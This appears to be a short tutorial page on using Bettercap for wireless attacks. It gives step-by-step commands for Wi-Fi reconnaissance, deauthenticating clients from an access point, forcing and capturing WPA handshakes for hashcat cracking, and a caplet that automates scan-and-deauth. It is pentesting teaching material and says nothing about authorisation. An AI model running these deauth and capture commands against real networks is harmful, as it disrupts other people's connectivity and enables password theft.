Skip to content
HackIndex logo

HackIndex

Wireless Attacks with Bettercap

2 min read Mar 17, 2026

bettercap provides a unified interface for wireless reconnaissance, deauthentication, and handshake capture through its wifi module. It handles monitor mode internally and presents a live view of discovered APs and clients. For wireless work it is most useful as a quick scanning and deauth tool, and as an alternative to the airodump-ng and aireplay-ng workflow when you want everything in one interactive session.

Start bettercap on the Wireless Interface

┌──(kali㉿kali)-[~]
└─$ bettercap -iface wlan0

bettercap drops you into an interactive session. All subsequent commands run inside this session.

Enable Wireless Reconnaissance

Start the wifi module to begin scanning for APs and clients:

┌──(kali㉿kali)-[~]
└─$ wifi.recon on

Show all discovered APs:

┌──(kali㉿kali)-[~]
└─$ wifi.show

The table shows BSSID, SSID, channel, signal strength, encryption, and connected client count. Refresh periodically to pick up newly discovered APs.

Deauthenticate a Specific Client

Target a specific client MAC for deauthentication:

┌──(kali㉿kali)-[~]
└─$ wifi.deauth CC:DD:EE:FF:AA:BB

To deauthenticate all clients from a specific AP:

┌──(kali㉿kali)-[~]
└─$ wifi.deauth AA:BB:CC:DD:EE:FF

Capture Handshakes

bettercap writes captured handshakes to pcap files automatically when wifi.recon is active. Set the output directory:

┌──(kali㉿kali)-[~]
└─$ set wifi.handshakes.file /tmp/handshakes
┌──(kali㉿kali)-[~]
└─$ wifi.recon on

Combine with deauth to force handshakes:

┌──(kali㉿kali)-[~]
└─$ wifi.deauth AA:BB:CC:DD:EE:FF

Captured handshakes are saved as individual pcap files per BSSID in the specified directory. Convert them with hcxpcapngtool for hashcat cracking.

Lock to a Specific Channel

To focus the wifi module on a single channel rather than hopping:

┌──(kali㉿kali)-[~]
└─$ wifi.recon.channel 6

Use a Caplet for Automation

Caplets are bettercap script files that automate sequences of commands. Create a caplet for a repeatable wireless scan and deauth workflow:

/tmp/wireless-recon.cap

set wifi.handshakes.file /tmp/handshakes
wifi.recon on
wait 30s
wifi.show
wifi.deauth AA:BB:CC:DD:EE:FF
wait 10s
wifi.show
┌──(kali㉿kali)-[~]
└─$ bettercap -iface wlan0 -caplet /tmp/wireless-recon.cap

References